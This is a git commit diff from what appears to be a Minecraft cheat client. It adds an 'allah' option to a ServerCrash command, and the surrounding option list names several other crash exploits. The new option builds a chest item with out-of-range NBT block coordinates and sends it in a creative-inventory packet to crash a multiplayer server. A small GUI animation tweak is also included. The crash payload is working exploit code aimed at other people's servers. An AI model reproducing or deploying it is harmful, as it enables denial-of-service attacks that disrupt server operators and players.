This commit is contained in:
Saturn5Vfive 2022-05-07 19:59:40 -05:00
parent 25187ba2e1
commit cc605bafea
2 changed files with 17 additions and 3 deletions

View file

@ -46,7 +46,7 @@ public class ServerCrash extends Command {
@Override
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"), new PossibleArgument(ArgumentType.NUMBER, "(power)"));
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "allah"), new PossibleArgument(ArgumentType.NUMBER, "(power)"));
}
@Override
@ -68,6 +68,20 @@ public class ServerCrash extends Command {
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Riding Crash Exploit");
}
case "allah" -> {
ItemStack ez = new ItemStack(Items.CHEST, 1);
NbtCompound nbt = new NbtCompound();
nbt.put("x", NbtDouble.of(2147483647));
nbt.put("y", NbtDouble.of(0));
nbt.put("z", NbtDouble.of(2147483647));
NbtCompound fuck = new NbtCompound();
fuck.put("BlockEntityTag", nbt);
ez.setNbt(fuck);
theFuckingNetworkHandler.sendPacket(new CreativeInventoryActionC2SPacket(39, ez));
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Allah's Crash");
}
case "book" -> {
int size = new IntegerArgumentParser().parse(args[1]);
for (int i = 0; i < size; i++) {

View file

@ -306,8 +306,8 @@ public class ClickGUI extends Screen implements FastTickable {
if (closing) {
d *= -1;
}
introAnimation += d;
introAnimation = MathHelper.clamp(introAnimation, 0, 1);
introAnimation = 1;
//introAnimation = MathHelper.clamp(introAnimation, 0, 1);
trackedScroll = Transitions.transition(trackedScroll, scroll, 7, 0);
for (Element element : elements) {
element.tickAnim();